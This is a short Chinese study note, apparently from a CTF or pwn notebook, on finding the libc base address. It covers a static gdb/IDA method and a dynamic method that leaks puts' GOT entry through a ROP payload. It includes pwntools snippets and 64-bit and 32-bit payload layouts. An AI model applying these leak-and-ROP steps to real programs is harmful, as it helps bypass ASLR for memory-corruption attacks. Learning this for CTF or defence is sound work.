如何寻找libc基址
静态寻找
当libc加载地址不会改变的情况下,可以用gdb进行调试,找到某个libc库函数的地址a,一般高位是0x7f,然后再用ida打开libc文件,然后查找对应的函数的地址b,则libc基址=a-b
动态寻找
在现实世界中,libc的加载地址通常是在每次程序运行时都会发生变化的。这是因为在操作系统的内存管理机制中,程序的虚拟地址空间是由操作系统为程序动态分配的。因此,每次程序运行时,操作系统都会为程序分配一个新的虚拟地址空间,并将程序的代码和所需的库文件映射到该地址空间中。因此,每次程序运行时,libc的加载地址通常会发生变化。
这种时候,一般是通过打印函数把某个库函数加载时的地址泄露,再和未加载时的该库函数在libc中的地址相减,差值即为本次运行的libc基址。如:
pwn=ELF('./pwn')
puts_got_addr=pwn.got['puts']
puts_plt_addr=pwn.plt['puts']
main=pwn.symbols['main']
libc=ELF('./libc.so.6')
puts_offset=libc.symbols['puts']
64位,payload
padding+ret+pop_rdi_ret+puts_got_addr+puts_plt_addr+main
32位,payload
padding+puts_plt_addr+puts_got_addr+fake_ebp+main
接收打印出来的地址,如64位
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
计算基址:
libc_base=puts_addr-puts_offset
可以使libc加载随机化的一些常见保护机制:PIE,ASLR
![[6-内存溢出保护#PIE]]
![[6-内存溢出保护#ASLR]]